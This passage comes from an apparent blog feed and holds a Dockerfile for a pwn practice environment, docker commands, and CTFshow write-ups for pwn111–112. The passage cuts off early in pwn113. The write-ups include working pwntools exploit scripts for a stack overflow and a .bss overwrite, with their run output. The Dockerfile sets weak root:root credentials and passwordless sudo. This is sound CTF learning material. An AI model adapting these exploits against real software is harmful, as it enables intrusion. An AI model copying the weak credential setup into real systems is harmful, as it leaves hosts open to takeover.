http://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.1.tar.gz &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    tar -xzvf ruby-2.7.1.tar.gz &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cd</span> ruby-2.7.1/ &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    ./configure &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    make -j16 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    make install -j16 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    gem install one_gadget seccomp-tools &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    sed -i <span class="string">&#x27;/en_US.UTF-8/s/^# //g&#x27;</span> /etc/locale.gen &amp;&amp; locale-gen</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># install python 3.8</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y zlib1g-dev libbz2-dev libncurses5-dev libsqlite3-dev libreadline-dev tk-dev libgdbm-dev \</span></span><br><span class="line"><span class="language-bash">    libdb-dev libpcap-dev xz-utils libexpat1-dev liblzma-dev libc6-dev &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    wget https://www.python.org/ftp/python/3.8.6/Python-3.8.6.tgz &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    tar -xzvf Python-3.8.6.tgz &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cd</span> Python-3.8.6 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    ./configure --enable-optimizations &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    make -j16 &amp;&amp; make install -j16 &amp;&amp; <span class="built_in">rm</span> -rf /usr/bin/pip3 /usr/bin/python3 /usr/bin/python /usr/bin/pip &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">ln</span> -s /usr/local/bin/python3.8 /usr/bin/python3 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">ln</span> -s /usr/local/bin/python3.8 /usr/bin/python &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">ln</span> -s /usr/local/bin/pip3.8 /usr/bin/pip3 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">ln</span> -s /usr/local/bin/pip3.8 /usr/bin/pip</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># install gdb manually</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y texinfo &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    wget https://ftp.gnu.org/gnu/gdb/gdb-10.2.tar.gz &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    tar -xzvf gdb-10.2.tar.gz &amp;&amp; <span class="built_in">cd</span> gdb-10.2 &amp;&amp; ./configure --enable-targets=all &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    make -j16 &amp;&amp; make install -j16</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 先执行容易失败的操作</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> git <span class="built_in">clone</span> https://<span class="variable">$&#123;HUB_DOMAIN&#125;</span>/pwndbg/pwndbg &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cd</span> ./pwndbg &amp;&amp; git checkout ubuntu18.04-final &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    ./setup.sh &amp;&amp; ./.venv/bin/pip3 install --upgrade --force-reinstall <span class="string">&#x27;requests==2.6.0&#x27;</span> urllib3 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    pip3 install --upgrade --force-reinstall <span class="string">&#x27;requests==2.6.0&#x27;</span> urllib3</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># install patchelf </span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> wget https://mirrors.tuna.tsinghua.edu.cn/ubuntu/pool/universe/p/patchelf/patchelf_0.9-1~ubuntu16.04.3_amd64.deb &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    dpkg -i patchelf_0.9-1~ubuntu16.04.3_amd64.deb</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> git <span class="built_in">clone</span> https://<span class="variable">$&#123;HUB_DOMAIN&#125;</span>/hugsy/gef.git &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    git <span class="built_in">clone</span> https://<span class="variable">$&#123;HUB_DOMAIN&#125;</span>/RoderickChan/Pwngdb.git &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    git <span class="built_in">clone</span> https://<span class="variable">$&#123;HUB_DOMAIN&#125;</span>/Gallopsled/pwntools &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    pip3 install --upgrade --editable ./pwntools &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    git <span class="built_in">clone</span> https://<span class="variable">$&#123;HUB_DOMAIN&#125;</span>/RoderickChan/pwncli.git &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    pip3 install --upgrade --editable ./pwncli</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./gdb-gef /bin</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./gdb-pwndbg /bin</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./update.sh /bin</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./test-this-container.sh /bin</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./heaptrace /bin</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./.tmux.conf ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./.gdbinit ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./flag /</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./flag /flag.txt</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">chmod</span> +x /bin/gdb-gef /bin/gdb-pwndbg /bin/update.sh /bin/test-this-container.sh /bin/heaptrace &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">echo</span> <span class="string">&quot;root:root&quot;</span> | chpasswd &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    pip3 install ropper capstone z3-solver qiling lief</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># root user</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> useradd <span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> -d /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> -m -s /bin/bash -u 1001 &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span>:<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span>&quot;</span> | chpasswd &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> -r /root/pwndbg /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> -r /root/gef /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> -r /root/pwntools /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> -r /root/Pwngdb /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> -r /root/pwncli /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> /root/.tmux.conf /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> /root/.gdbinit /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> /flag /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> /flag.txt /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">chown</span> -R <span class="variable">$&#123;NORMAL_USER_NAME&#125;</span>:<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">USER</span> $&#123;NORMAL_USER_NAME&#125;:$&#123;NORMAL_USER_NAME&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> pip3 install --upgrade --editable ./pwntools &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    pip3 install --upgrade --editable ./pwncli &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    pip3 install --upgrade --force-reinstall <span class="string">&#x27;requests==2.6.0&#x27;</span> urllib3</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># switch to root and install zsh</span></span><br><span class="line"><span class="keyword">USER</span> root:root</span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y <span class="built_in">sudo</span> zsh &amp;&amp; usermod -s /bin/zsh <span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span> ALL=(ALL) NOPASSWD : ALL&quot;</span> | <span class="built_in">tee</span> /etc/sudoers.d/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span><span class="built_in">sudo</span> </span></span><br><span class="line"></span><br><span class="line"><span class="comment"># switch 2 normal user</span></span><br><span class="line"><span class="keyword">USER</span> $&#123;NORMAL_USER_NAME&#125;:$&#123;NORMAL_USER_NAME&#125;</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /home/<span class="variable">$&#123;NORMAL_USER_NAME&#125;</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># install on-my-zsh</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> curl -fsSL -O https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">chmod</span> +x  ./install.sh &amp;&amp; \ </span></span><br><span class="line">    sed -i -e <span class="string">&#x27;s/read[[:space:]]*-r[[:space:]]*opt/opt=n/g&#x27;</span> ./install.sh &amp;&amp; \</span><br><span class="line">    ./install.sh &amp;&amp; \</span><br><span class="line">    git clone https://github.com/zsh-users/zsh-syntax-highlighting.git $&#123;ZSH_CUSTOM:-~/.oh-my-zsh/custom&#125;/plugins/zsh-syntax-highlighting &amp;&amp; \</span><br><span class="line">    git clone https://github.com/zsh-users/zsh-autosuggestions $&#123;ZSH_CUSTOM:-~/.oh-my-zsh/custom&#125;/plugins/zsh-autosuggestions</span><br><span class="line"></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./.zshrc ./</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># expose some ports</span></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">80</span> <span class="number">443</span> <span class="number">23946</span> <span class="number">10001</span> <span class="number">10002</span> <span class="number">10003</span> <span class="number">10004</span> <span class="number">10005</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;/bin/update.sh&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>可以直接执行命令 <code>sudo docker pull roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412</code> 下载镜像使用。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker run -it \</span><br><span class="line">--name pwn16_env \</span><br><span class="line">-v ~/Desktop/CTFshow_pwn:/CTFshow_pwn \</span><br><span class="line">-p 23947:23947 \</span><br><span class="line">--cap-add=SYS_PTRACE \</span><br><span class="line">pwnenv_ubuntu16:16.04-2.23-0ubuntu11.3-20240412 \</span><br><span class="line">/bin/zsh</span><br></pre></td></tr></table></figure><p>user&#x2F;password:</p><ol><li>root&#x2F;root  </li><li>ctf&#x2F;ctf</li></ol><p>参考：<a href="https://www.roderickchan.cn/zh-cn/2024-04-14-docker-pwn-env-image-for-ubuntu-16.04/">在2024年如何成功搭建Ubuntu 16.04的pwn环境 | roderick - record and learn!</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight dockerfile&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# used for compile ubuntu 16.</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="3-分析环境搭建" scheme="https://rhea006.github.io/categories/PWN/Learning/3-%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    
    <category term="Docker搭建" scheme="https://rhea006.github.io/categories/PWN/Learning/3-%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/Docker%E6%90%AD%E5%BB%BA/"/>
    
    
  </entry>
  
  <entry>
    <title>docker命令</title>
    <link href="https://rhea006.github.io/2025/08/99a4c6189f54.html"/>
    <id>https://rhea006.github.io/2025/08/99a4c6189f54.html</id>
    <published>2025-08-27T14:00:00.000Z</published>
    <updated>2025-08-29T06:47:27.036Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">- 格式：`docker tag 旧镜像名:旧标签 新镜像名:新标签`</span><br><span class="line"><span class="built_in">sudo</span> docker tag roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412 my_pwn_env:ubuntu16</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#删除旧标签</span></span><br><span class="line"><span class="built_in">sudo</span> docker rmi roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412</span><br><span class="line"><span class="comment"># 先停止容器 </span></span><br><span class="line"><span class="built_in">sudo</span> docker stop pwn16_env</span><br><span class="line"><span class="comment"># 再删除 </span></span><br><span class="line"><span class="built_in">sudo</span> docker <span class="built_in">rm</span> pwn16_env</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;- 格式：`docker tag 旧镜像名:旧标签 新镜像名:新标签`&lt;/span&gt;&lt;br&gt;&lt;span class</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="3-分析环境搭建" scheme="https://rhea006.github.io/categories/PWN/Learning/3-%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    
    <category term="Docker搭建" scheme="https://rhea006.github.io/categories/PWN/Learning/3-%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/Docker%E6%90%AD%E5%BB%BA/"/>
    
    
  </entry>
  
  <entry>
    <title>pwn111-134</title>
    <link href="https://rhea006.github.io/2025/08/78c374a4bf34.html"/>
    <id>https://rhea006.github.io/2025/08/78c374a4bf34.html</id>
    <published>2025-08-27T04:00:00.000Z</published>
    <updated>2025-08-29T11:45:26.077Z</updated>
    
    <content type="html"><![CDATA[<h2 id="pwn111"><a href="#pwn111" class="headerlink" title="pwn111"></a>pwn111</h2><h6 id="Hint：没难度"><a href="#Hint：没难度" class="headerlink" title="Hint：没难度"></a>Hint：没难度</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位仅开启NX保护</p><p>IDA直接查看漏洞函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;Input your message:\n&quot;</span>, <span class="number">0x14u</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">  <span class="keyword">return</span> write(<span class="number">1</span>, <span class="string">&quot;I have received your message, Thank you!\n&quot;</span>, <span class="number">0x29u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的栈溢出漏洞，观察到还有后⻔函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">do_global</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  _BYTE buf[<span class="number">9</span>]; <span class="comment">// [rsp+Bh] [rbp-15h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line">  FILE *stream; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v2 = fgetc(stream);</span><br><span class="line">    buf[<span class="number">0</span>] = v2;</span><br><span class="line">    result = v2;</span><br><span class="line">    <span class="keyword">if</span> ( (_BYTE)v2 == <span class="number">0xFF</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    write(<span class="number">1</span>, buf, <span class="number">1u</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么简单了，只需要栈溢出，将返回地址覆盖成这个函数的地址就可以拿到flag了。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;_do_global&#x27;</span>] <span class="comment">#flag=400697</span></span><br><span class="line">payload = cyclic(<span class="number">0x80</span>+<span class="number">8</span>) + p64(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 47</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : No RELRO,Try pwn it!</span><br><span class="line">    * *************************************</span><br><span class="line">Input your message:</span><br><span class="line">I have received your message, Thank you!</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><h2 id="pwn112"><a href="#pwn112" class="headerlink" title="pwn112"></a>pwn112</h2><h6 id="Hint：满足一定条件即可"><a href="#Hint：满足一定条件即可" class="headerlink" title="Hint：满足一定条件即可"></a>Hint：满足一定条件即可</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护全开，其中部分开启RELRO</p><p>IDA查看漏洞函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  n17 = <span class="number">0</span>;</span><br><span class="line">  init();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What&#x27;s your name?&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, var);</span><br><span class="line">  <span class="keyword">if</span> ( n17 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( n17 == <span class="number">17</span> )</span><br><span class="line">      <span class="keyword">return</span> register_tm();</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">      <span class="keyword">return</span> <span class="built_in">printf</span>(</span><br><span class="line">               <span class="string">&quot;something wrong! val is %d&quot;</span>,</span><br><span class="line">               var[<span class="number">0</span>],</span><br><span class="line">               var[<span class="number">1</span>],</span><br><span class="line">               var[<span class="number">2</span>],</span><br><span class="line">               var[<span class="number">3</span>],</span><br><span class="line">               var[<span class="number">4</span>],</span><br><span class="line">               var[<span class="number">5</span>],</span><br><span class="line">               var[<span class="number">6</span>],</span><br><span class="line">               var[<span class="number">7</span>],</span><br><span class="line">               var[<span class="number">8</span>],</span><br><span class="line">               var[<span class="number">9</span>],</span><br><span class="line">               var[<span class="number">10</span>],</span><br><span class="line">               var[<span class="number">11</span>],</span><br><span class="line">               var[<span class="number">12</span>],</span><br><span class="line">               n17);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%s, Welcome!\n&quot;</span>, var);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Try doing something~&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>细⼼观察其实就发现还是存在后⻔函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">register_tm</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> sub_400470();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">sub_400470</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> do_global();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">do_global</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [esp+8h] [ebp-20h]</span></span><br><span class="line">  _BYTE buf[<span class="number">9</span>]; <span class="comment">// [esp+13h] [ebp-15h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    buf[<span class="number">0</span>] = fgetc(stream);</span><br><span class="line">    <span class="keyword">if</span> ( buf[<span class="number">0</span>] == <span class="number">0xFF</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    write(<span class="number">1</span>, buf, <span class="number">1u</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么让n17 &#x3D; 0x11 也就是⼗进制的17即可执⾏到后⻔函数了。</p><p>即直接将n17覆盖成17即可</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:00003060 ; _DWORD var[13]</span><br><span class="line">.bss:00003060 var             dd 0Dh dup(?)</span><br></pre></td></tr></table></figure><p><code>dd 0Dh dup(?) 表示 var 是一个由 13 个DWORD（4 字节整数）组成的数组：</code></p><ul><li>dd 对应 C 语言的int（4 字节）；</li><li>0Dh 是十六进制的 13，dup(?) 表示重复 13 次，因此总大小为 13 × 4 &#x3D; 52字节。</li></ul><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">payload = p32(<span class="number">17</span>) * <span class="number">0xE</span> <span class="comment">#payload = b&quot;a&quot;*13*4+p32(0x11)</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 67</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">[*] Process <span class="string">&#x27;./pwn&#x27;</span> stopped with <span class="built_in">exit</span> code 0 (pid 67)</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><h2 id="pwn113-libc6-2-27-0ubuntu2-amd64-libc6-2-27-3ubuntu1-amd64-libc6-2-27-0ubuntu3-amd64-64位mprotect，还得练"><a href="#pwn113-libc6-2-27-0ubuntu2-amd64-libc6-2-27-3ubuntu1-amd64-libc6-2-27-0ubuntu3-amd64-64位mprotect，还得练" class="headerlink" title="pwn113(libc6_2.27-0ubuntu2_amd64,libc6_2.27-3ubuntu1_amd64,libc6_2.27-0ubuntu3_amd64)[64位mprotect，还得练]"></a>pwn113(libc6_2.27-0ubuntu2_amd64,libc6_2.27-3ubuntu1_amd64,libc6_2.27-0ubuntu3_amd64)[64位mprotect，还得练]</h2><h6 id="Hint：理清逻辑，题目不难。"><a href="#Hint：理清逻辑，题目不难。" class="headerlink" title="Hint：理清逻辑，题目不难。"></a>Hint：理清逻辑，题目不难。</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位程序完全开启RELRO保护，开启NX保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span 